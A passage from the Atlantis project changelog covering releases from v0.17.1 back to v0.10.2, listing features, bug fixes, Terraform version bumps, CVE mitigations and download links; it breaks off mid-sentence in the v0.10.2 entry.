([#1651](https://github.com/runatlantis/atlantis/pull/1651) by @gezb)\n\n## Bug Fixes\n* Fix a bug with the hide previous command logic ([#1549](https://github.com/runatlantis/atlantis/pull/1549) by @nishkrishnan)\n* Fix a bug with Azure Dev ops Prs where only the recent commit was used to get the diff ([#1521](https://github.com/runatlantis/atlantis/pull/1521) by @nishkrishnan)\n* Fix bug with deleting source branch on merging Azure Dev Ops PRs ([#1560](https://github.com/runatlantis/atlantis/pull/1560) by @tapaszto)\n* Fix regression with parallelApply and parallelPlan args being in the wrong order and therefore swapped. ([#1574](https://github.com/runatlantis/atlantis/pull/1574) by @Fauzyy)\n* Fix nil pointer deference when `disable-repo-locking` is true. ([#1557](https://github.com/runatlantis/atlantis/pull/1557) by @Fauzyy)\n* Fix azure dev ops max comment characters to api limit ([#1585](https://github.com/runatlantis/atlantis/pull/1585) by @mhennecke)\n* Fix bug where required terraform version was not being loaded when policy checks are enabled ([#1658](https://github.com/runatlantis/atlantis/pull/1658) by @msarvar)\n* Fix bug where plan summary was not shown when changes outside of Terraform were detected ([#1593](https://github.com/runatlantis/atlantis/pull/1593) by @chroju)\n\n## Dependencies\n* Upgrade conftest binary version to 0.25 ([#1516](https://github.com/runatlantis/atlantis/pull/1579) by @msarvar)\n* Upgrade default tf version to 1.0 ([#1622](https://github.com/runatlantis/atlantis/pull/1622) by @chenrui333)\n\n## Backwards Incompatibilities/Notes\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 1.0. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.17.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Github Container Registry\n[`ghcr.io/runatlantis/atlantis:v0.17.1`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis)\n\n## Diff v0.17.0..v0.17.1\nhttps://github.com/runatlantis/atlantis/compare/v0.17.0...v0.17.1\n\n\n# v0.17.0\nFeature release encompassing this version's pre-release with some bug fixes and improvements that make this stable.\n\n## Features/Improvements\n* Add `--enable-policy-checks` which adds a policy checking step to the Atlantis workflow and runs server-side conftest policies on the terraform plan output. ([#1317](https://github.com/runatlantis/atlantis/pull/1317) by @msarvar and @nishkrishnan)\n    - Supports `atlantis approve_policies` which allows a set of blessed github users to approve failing policies.\n* Support pre-workflow hooks on all comment/auto triggered commands ([#1418](https://github.com/runatlantis/atlantis/pull/1418) by @nishkrishnan)\n* Add branch allowlist matcher to server side repo config ([#1383](https://github.com/runatlantis/atlantis/pull/1383) by @dghubble)\n* Add support for regex commands ([#1419](https://github.com/runatlantis/atlantis/pull/1419) by @bewie)\n* Add support for a global apply lock ([#1473](https://github.com/runatlantis/atlantis/pull/1473) by @msarvar)\n* Add structured logging support ([#1467](https://github.com/runatlantis/atlantis/pull/1467) by @nishkrishnan)\n* Ensure policy checks is its own apply requirement ([#1499](https://github.com/runatlantis/atlantis/pull/1499) by @nishkrishnan)\n* Add `--silence-no-projects` which silences Atlantis from responding to PRs when there are no projects ([#1469](https://github.com/runatlantis/atlantis/pull/1469) by @GenPage)\n* Add plan summary to unfolded part of the comment ([#1518](https://github.com/runatlantis/atlantis/pull/1518) by @wkrysmann)\n* Add `--autoplan-file-list` which allows modifying the global list of files that trigger project planning ([#1475](https://github.com/runatlantis/atlantis/pull/1475) by @Omicron7)\n* Add server-side repo config support to delete the source branch when automerge is configured ([#1357](https://github.com/runatlantis/atlantis/pull/1357) by @tapaszto)\n\n## Bug Fixes\n* Fix output for Terraform 0.14 projects not filtering out refreshing of state. ([#1352](https://github.com/runatlantis/atlantis/pull/1352) by @mathcantin)\n\n## Dependencies\n* Upgrade conftest binary version to 0.23 ([#1516](https://github.com/runatlantis/atlantis/pull/1516) by @msarvar)\n* Upgrade default tf version to 0.15.1 and add latest patch versions for old terraform minor versions ([#1472](https://github.com/runatlantis/atlantis/pull/1512) by @bryantbiggs)\n\n## Backwards Incompatibilities/Notes\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.15.1. Simply set the above\n  flag to your desired default version to avoid any issues.\n* Hashicorp's GPG keys were [exposed](https://discuss.hashicorp.com/t/hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure/23512). This PR adds the latest patch versions for each Terraform minor version which has new keys.\n\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.17.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.16.1..v0.17.0\nhttps://github.com/runatlantis/atlantis/compare/v0.16.1...v0.17.0\n\n# v0.17.0-beta\nFeature release. Due to a sizeable refactor and the number of configuration settings supported in Atlantis, this is a pre-release and should not be considered fully stable.\n\n## Features\n* Add `--enable-policy-checks` which adds a policy checking step to the Atlantis workflow and runs server-side conftest policies on the terraform plan output. ([#1317](https://github.com/runatlantis/atlantis/pull/1317) by @msarvar and @nishkrishnan)\n    - Supports `atlantis approve_policies` which allows a set of blessed github users to approve failing policies.\n* Support pre-workflow hooks on all comment/auto triggered commands ([#1418](https://github.com/runatlantis/atlantis/pull/1418) by @nishkrishnan)\n* Add `HEAD_COMMIT` to run steps\n* Update terraform version to 0.14.7\n\n## Backwards Incompatibilities/Notes\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.14.7. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.17.0-beta`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.16.1..v0.17.0-beta\nhttps://github.com/runatlantis/atlantis/compare/v0.16.1...v0.17.0-beta\n\n\n# v0.16.1\nFew improvements and a number of bug fixes\n\n## Features/Improvements\n* Add `--gh-app-slug` which allows fetching of gh app user. ([#1334](https://github.com/runatlantis/atlantis/pull/1334) by @nishkrishnan) (Also fixes [#1161](https://github.com/runatlantis/atlantis/issues/1161))\n* Add `--disable-repo-locking` flag. ([#1340](https://github.com/runatlantis/atlantis/pull/1340) by @gezb) (Closes [#1212](https://github.com/runatlantis/atlantis/issues/1212))\n* Pass atlantis/apply when there are no plans ([#1323](https://github.com/runatlantis/atlantis/pull/1323) by @raxod502-plaid)\n* Update terraform version to 0.14.5\n\n## Bugfixes\n* Fix bug with error messaging and incorrect casting ([#1327](https://github.com/runatlantis/atlantis/pull/1327) by @acastle)\n* Fix bug where .auto.tfvars.json files were being ignored in 0.16.0 (Fixes [#1330](https://github.com/runatlantis/atlantis/issues/1330) by @gekO)\n* Fix Azure DevOps automerge by dynamically fetching user id (Fixes [#1152](https://github.com/runatlantis/atlantis/issues/1152) by @tapaszto)\n* Replace slack GetChannels with GetConversations due to API deprecation (Fixes [#1210](https://github.com/runatlantis/atlantis/issues/1210) by @thlacroix)\n* Set TF_WORKSPACE for remote runs to target correct workspace (Fixes [#661](https://github.com/runatlantis/atlantis/issues/661) by @m1pl)\n* Fix for restricting what workflows each repo has access to without exposing custom workflow definitions (Fixes [#1358](https://github.com/runatlantis/atlantis/issues/1358) by @netguino)\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.14.5. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.16.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.16.0..v0.16.1\nhttps://github.com/runatlantis/atlantis/compare/v0.16.0...v0.16.1\n\n\n# v0.16.0\n\n## Description\nFeature release with some new flags and bugfixes.\n\nThis release is thanks to our new Atlantis maintainer team:\n* [@chenrui333](https://github.com/chenrui333)\n* [@nishkrishnan](https://github.com/nishkrishnan)\n* [@acastle](https://github.com/acastle)\n* [@unRob](https://github.com/unRob)\n* [@jamengual](https://github.com/jamengual)\n\n## Features\n* Allow configuring number of concurrent plans/applies via new `-parallel-pool-size` flag ([#1177](https://github.com/runatlantis/atlantis/pull/1177) by @dmattia)\n* Add new flag `-disable-apply` that will disable the ability to run all applies ([#1230](https://github.com/runatlantis/atlantis/pull/1230) by @gezb)\n* This release will release with an arm64 binary ([#1291](https://github.com/runatlantis/atlantis/pull/1291) by @pgroudas)\n* Add `pre_workflow_hooks` steps to allow for running custom scripts before workflow execution ([#1255](https://github.com/runatlantis/atlantis/pull/1255) by @msarvar)\n* Update default Terraform version to 0.14.3\n\n## Bugfixes\n* Fix bug checking for up to date branches when using GitHub App installation and `-checkout-strategy=merge` (Fixes [#1236](https://github.com/runatlantis/atlantis/issues/1236) by @nishkrishnan)\n* Fix version detection for versions with prereleases when running Terraform >= 0.12.0 (Fixes [#1276](https://github.com/runatlantis/atlantis/issues/1276) by @acastle)\n* Fix bug detecting Terraform files ([#1253](https://github.com/runatlantis/atlantis/pull/1253) by @surminus)\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.14.3. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.16.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.15.1..v0.16.0\nhttps://github.com/runatlantis/atlantis/compare/v0.15.1...v0.16.0\n\n# v0.15.1\n\n## Description\nBugfix release.\n\n## Bugfixes\n* Fix `required_version` detection not working for Terraform 0.13.0 ([#1153](https://github.com/runatlantis/atlantis/issues/1153) by @joerx)\n* Fix editing comments on draft PRs causing plan to re-run ([#1194](https://github.com/runatlantis/atlantis/issues/1194))\n* Fix Azure DevOps apply status checks not working ([#1172](https://github.com/runatlantis/atlantis/issues/1172) by @acastle)\n* Fix checkout-strategy=merge not working when using the GitHub app installation ([#1193](https://github.com/runatlantis/atlantis/issues/1193) by @nishkrishnan)\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.13.4. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.15.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.15.0..v0.15.1\nhttps://github.com/runatlantis/atlantis/compare/v0.15.0...v0.15.1\n\n# v0.15.0\n\n## Description\nRelatively small release with some bugfixes and a couple of features. Also sets\ndefault Terraform version to 0.13.0.\n\n## Features\n* Bump default Terraform version to 0.13.0\n* Retry GitHub calls to prevent 404 issues ([#1019](https://github.com/runatlantis/atlantis/issues/1019))\n* Update GitLab library to handle rate limiting issues ([#1142](https://github.com/runatlantis/atlantis/issues/1142) by @LAKostis)\n* Alpine version n Docker image is now 3.12 (up from 3.11) ([#1136](https://github.com/runatlantis/atlantis/pull/1136) by @lazzurs)\n* Add new flag `--skip-clone-no-changes` that will skip cloning the repo during autoplan if there are no changes to Terraform projects.\n  This will only apply for GitHub and GitLab and only for repos that have `atlantis.yaml` files. ([#1158](https://github.com/runatlantis/atlantis/pull/1158) by @cucxabong)\n* Add new flag `--disable-autoplan` that will globally disable autoplanning. ([#1159](https://github.com/runatlantis/atlantis/pull/1159) by @ValdirGuerra)\n\n## Bugfixes\n* Fix `--hide-prev-plan-comments` bug ([#1009](https://github.com/runatlantis/atlantis/issues/1009) by @goodspark)\n* Fix comment splitting bug ([#1109](https://github.com/runatlantis/atlantis/pull/1109) by @crainte)\n* Fix Azure DevOps bug when cloning a repo with spaces in its name ([#1079](https://github.com/runatlantis/atlantis/issues/1079) by @mcdafydd)\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.13.0. Simply set the above\n  flag to your desired default version to avoid any issues.\n* `--repo-whitelist` is now deprecated in favour of `--repo-allowlist`. The previous\n  flag will still work.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.15.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.14.0..v0.15.0\nhttps://github.com/runatlantis/atlantis/compare/v0.14.0...v0.15.0\n\n# v0.14.0\n\n## Description\nThis release brings a big new feature: the ability to install Atlantis as a GitHub App! Thanks to [@unRob](https://github.com/unRob) for this amazing feature.\n\n## Features\n* Support installation via a GitHub App. See https://www.runatlantis.io/docs/access-credentials.html#github-app for instructions. ([#1088](https://github.com/runatlantis/atlantis/pull/1088) by @unRob)\n* Add new `atlantis unlock` command that can be run on pull requests to discard all plans and unlock all projects associated with that PR. ([#1091](https://github.com/runatlantis/atlantis/pull/1091) by @parmouraly)\n* Add debug-level logging for GitHub calls ([#1042](https://github.com/runatlantis/atlantis/pull/1042) by @cket)\n* The repo-relative directory is now available in custom workflows via the environment variable `REPO_REL_DIR` ([#1063](https://github.com/runatlantis/atlantis/pull/1063) by @llamahunter)\n* Upgrade the default Terraform version to 0.12.27.\n* Update jQuery to 1.5.1 to fix a security issue with the older version.\n* Update `gosu` in the Atlantis Docker image to 1.12 ([#1104](https://github.com/runatlantis/atlantis/pull/1104) by @lazzurs)\n* Ignore changes to `.tflint.hcl` ([#1075](https://github.com/runatlantis/atlantis/pull/1075) by @unRob)\n\n## Bugfixes\n* `--write-git-credentials` now works with Azure DevOps ([#1070](https://github.com/runatlantis/atlantis/pull/1070) by @markbrennan)\n* Partly fix `--hide-prev-plan-comments` on GitHub Enterprise ([#1072](https://github.com/runatlantis/atlantis/pull/1072) by @goodspark)\n* Fix bug where Atlantis would auto-merge a PR if `apply` was run after the locks were discarded (Fixes [#1006](https://github.com/runatlantis/atlantis/issues/1006) by @parmouraly)\n* Fix bug when using `--hide-prev-plan-comments` where if a plan output was split across multiple comments only the first comment would get hidden (Fixes [#1021](https://github.com/runatlantis/atlantis/issues/1021) by @crainte)\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.27. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.14.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.14.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.14.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.14.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.14.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.13.0..v0.14.0\nhttps://github.com/runatlantis/atlantis/compare/v0.13.0...v0.14.0\n\n# v0.13.0\n\n## Description\nThis release enables support for running plans and applies in parallel **only when using Terraform workspaces**.\nIt also enables graceful shutdown for Atlantis where it waits for in-progress plans and applies to complete.\nSee below for the complete list.\n\n## Features\n* Upgrade default Terraform version in Docker image to 0.12.26.\n* Add support for parallel plans and applies ([#926](https://github.com/runatlantis/atlantis/pull/926) by @Fauzyy)\n\n  Running in parallel is only supported if you're using workspaces to separate your projects.\n  Projects in separate directories can **not** be run in parallel currently.\n  To use, set\n\n  ```yaml\n  parallel_plan: true\n  parallel_apply: true\n  ```\n\n  In your repo-level `atlantis.yaml` file.\n* Add support for graceful shutdown ([#1051](https://github.com/runatlantis/atlantis/pull/1051) by @benoit74).\n  When Atlantis receive a SIGINT or SIGTERM it won't shut down immediately. It will wait for\n  in-progress plans and applies to complete. Any new actions, e.g. comments or autoplans\n  will be refused and an error comment will be posted to the PR indicating that Atlantis is shutting\n  down and the user should try again later.\n\n  In addition, a new `/status` endpoint has been added that currently only returns\n  the number of in-progress operations and whether the server is shutting down.\n\n* GitHub: A new flag `--allow-draft-prs` has been added that will re-enable the ability\n  for users to run plan and apply on GitHub draft PRs. This ability was removed in\n  v0.12.0. ([#1053](https://github.com/runatlantis/atlantis/pull/1053) by @cket)\n* GitHub: Preserve original commit message when automerging ([#1049](https://github.com/runatlantis/atlantis/pull/1049) by @pratikmallya).\n\n  This change removes the `[Atlantis] Automatically merging after successful apply` commit message\n  and instead has GitHub autogenerate the commit message similarly to how it would when\n  you click the \"Merge\" button in the UI.\n* Change log level for HTTP requests from INFO to DBUG, e.g.\n  ```\n  2020/05/26 12:16:20+0000 [INFO] server: GET /healthz – respond HTTP 200\n  2020/05/26 12:16:36+0000 [INFO] server: GET /healthz – from <IP>\n  ```\n  ([#1056](https://github.com/runatlantis/atlantis/pull/1056) by @tammert)\n* GitLab: Use correct link to merge requests (previously used `#<num>` instead of `!<num>`) ([#1059](https://github.com/runatlantis/atlantis/pull/1059) by @EppO)\n\n## Bugfixes\n* Azure DevOps: Project links link to pull requests now (Fixes [#957](https://github.com/runatlantis/atlantis/issues/957) by @mcdafydd)\n* GitHub: Release locks when GitHub draft PRs are closed ([#1038](https://github.com/runatlantis/atlantis/pull/1038) by @andrewring)\n* Ensure git-lfs is in our Docker image (Fixes [#1054](https://github.com/runatlantis/atlantis/pull/1054))\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.26. Simply set the above\n  flag to your desired default version to avoid any issues.\n* HTTP requests are now logged as DBUG instead of INFO to reduce log spam. If you\n  still want to see these logs you must run with `--log-level=debug`.\n* Atlantis will no longer immediately shutdown when it receives a SIGINT or SIGTERM,\n  it will now wait for in-progress plans and applies to complete. To stop Atlantis\n  without waiting, send a SIGKILL.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.13.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.13.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.13.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.13.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.13.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.12.0..v0.13.0\nhttps://github.com/runatlantis/atlantis/compare/v0.12.0...v0.13.0\n\n# v0.12.0\n\n## Description\nThis release contains one much-awaited GitHub-only feature: the ability to hide previous\nplan comments with the `--hide-prev-plan-comments` flag. It also contains\na host of other small features and fags.\n\n## Features\n* GitHub: Add `--hide-prev-plan-comments` flag. When set, previous plan comments will be marked as outdated in GitHub's UI.\n  This collapses them making a PR with lots of plan comments easier to read. ([#994](https://github.com/runatlantis/atlantis/pull/994) by @goodspark)\n* GitHub: Ignore draft PRs until they're changed to \"ready for review\". ([#977](https://github.com/runatlantis/atlantis/pull/977) by @cket)\n* Upgrade default Terraform version in Docker image to 0.12.24.\n* Set `as_user` param when sending slack notifications so the message is decorated appropriately ([#907](https://github.com/runatlantis/atlantis/pull/907) by @tmcevoy14)\n* Add Git LFS support ([#872](https://github.com/runatlantis/atlantis/pull/872) by @remilapeyre)\n* Add `--silence-vcs-status-no-plans` flag that silences VCS commit status when autoplan finds no projects to plan.\n  When set, Atlantis won't create any VCS statuses if there no projects to plan. ([#959](https://github.com/runatlantis/atlantis/pull/959) by @cket)\n* Add `--disable-markdown-folding` flag that disables folding for long plan/apply outputs. ([#960](https://github.com/runatlantis/atlantis/pull/960) by @mhumeSF)\n* Ignore casing when setting log levels, e.g. `--log-level=INFO` now works. ([#976](https://github.com/runatlantis/atlantis/pull/976) by @jpreese)\n* Azure DevOps: Add policy checking. ([#984](https://github.com/runatlantis/atlantis/pull/984) by @jpreese)\n* Upgrade boltdb to latest maintained version. ([#992](https://github.com/runatlantis/atlantis/pull/992) by @amasover)\n\n## Bugfixes\n* Azure DevOps: Prevent pull request updated events from triggering autoplan when the event was caused by a change in approvals. (Fixes [#946](https://github.com/runatlantis/atlantis/issues/946) by @mcdafydd)\n\n## Backwards Incompatibilities / Notes:\n* GitHub draft PRs are now ignored until they're marked \"ready for review\" and opened as regular PRs.\n  **NOTE: ** This functionality was added back in Atlantis v0.13.0 via the `--allow-draft-prs` flag.\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.24. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.12.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.12.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.12.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.12.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.12.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.11.1..v0.12.0\nhttps://github.com/runatlantis/atlantis/compare/v0.11.1...v0.12.0\n\n# v0.11.1\n\n## Description\nUsing the latest Alpine Docker image (3.11) to mitigate some vulnerabilities\nin that image.\n\n## Security\n* Use Alpine 3.11 to mitigate:\n    1. CVE-2019-5482: `curl <7.66.0-r0` https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5482\n    2. CVE-2019-5481: `curl <7.66.0-r0` https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5481\n    3. CVE-2019-15903: `expat <2.2.7-r1` and `git <2.22.0r0`  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15903\n    4. CVE-2018-20843: `expat <2.2.7-r0` and `git <2.22.0-r0`  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20843\n    5. CVE-2019-14697: `musl <1.1.22-r3` https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14697\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.11.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.11.0..v0.11.1\nhttps://github.com/runatlantis/atlantis/compare/v0.11.0...v0.11.1\n\n# v0.11.0\n\n## Description\nSmall release with a couple new config flags from contributors.\n\n## Features\n* Upgrade default Terraform version in Docker image to 0.12.19.\n* Add new `--tf-download-url` flag to allow overriding the default download base URL of `https://releases.hashicorp.com`.\n  ([#787](https://github.com/runatlantis/atlantis/pull/787) by @cullenmcdermott)\n* Add new `--vcs-status-name` flag to allow configuring the name Atlantis uses for its\n  PR statuses. Useful if running multiple Atlantis servers on the same repo. ([#841](https://github.com/runatlantis/atlantis/pull/841) by @js-timbirkett)\n* Add new `--silence-fork-pr-errors` flag to silence errors from fork PRs in\n  orgs that use fork PRs for non-terraform changes. ([#885](https://github.com/runatlantis/atlantis/pull/885) by @kinghrothgar)\n\n## Bugfixes\n* Fix Atlantis Dockerfile subcommand detection (Fixes [#870](https://github.com/runatlantis/atlantis/issues/870) by @sparky005)\n* Fix `--write-git-creds` command for BitBucket modules (Fixes [#873](https://github.com/runatlantis/atlantis/issues/873) by @ImperialXT)\n* Fix issue where Atlantis was failing on Azure DevOps PRs with branch protection (Fixes [#880](https://github.com/runatlantis/atlantis/issues/880) by @mcdafydd)\n* Fix issue where project's set with an absolute dir, e.g. `dir: /a/b/c` would actually use\n  that directory instead of making it relative to the reo root (Fixes [#849](https://github.com/runatlantis/atlantis/issues/849)).\n* Fix issue where changes to `terragrunt.hcl` files weren't being detected when\n  using `atlantis.yaml` files (Fixes [#803](https://github.com/runatlantis/atlantis/issues/803) by @JoshiiSinfield)\n\n## Backwards Incompatibilities / Notes:\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 0.12.19. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.11.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Diff v0.10.2..v0.11.0\nhttps://github.com/runatlantis/atlantis/compare/v0.10.2...v0.11.0\n\n# v0.10.2\n\n## Description\nSome small features in this release and some bug fixes.\n* Exclusions are now supported in `when_modified` config so you can ignore changes\n  in files that you don't want to trigger plan on.\n* Emojis are now supported in Azure DevOps 🎉.\n\n## Features\n* Upgrade Terraform in Docker image to 0.12.16.\n* Add support for [kustomize](https://kustomize.io/) ([#785](https://github.com/runatlantis/atlantis/pull/785) by @tobbbles)\n* Use emojis in comments for Azure DevOps ([#863](https://github.com/runatlantis/atlantis/pull/863) by @mcdafydd)\n* Allow exclusions to be specified in `when_modified`, e.g. `when_modified: [\"!this-file.tf\"]` ([#847](https://github.com/runatlantis/atlantis/pull/847) by @leonsodhi-lf)\n* When using `--checkout-strategy=merge` warn users if the branch they're merging into has been updated ([#804](https://github.com/runatlantis/atlantis/issues/804) by @MRinalducci)\n\n## Bugfixes\n* Support `/` in branch names for Azure DevOps (Fixes [#835](https://github.com/runatlantis/atlantis/issues/835) by @mcdafydd)\n* Fix bug where a server-side workflow with the name \"default\" wasn't being used (Fixes [#860](https://github.com/runatlantis/atlantis/issues/860))\n* Fix GitLab error due to API 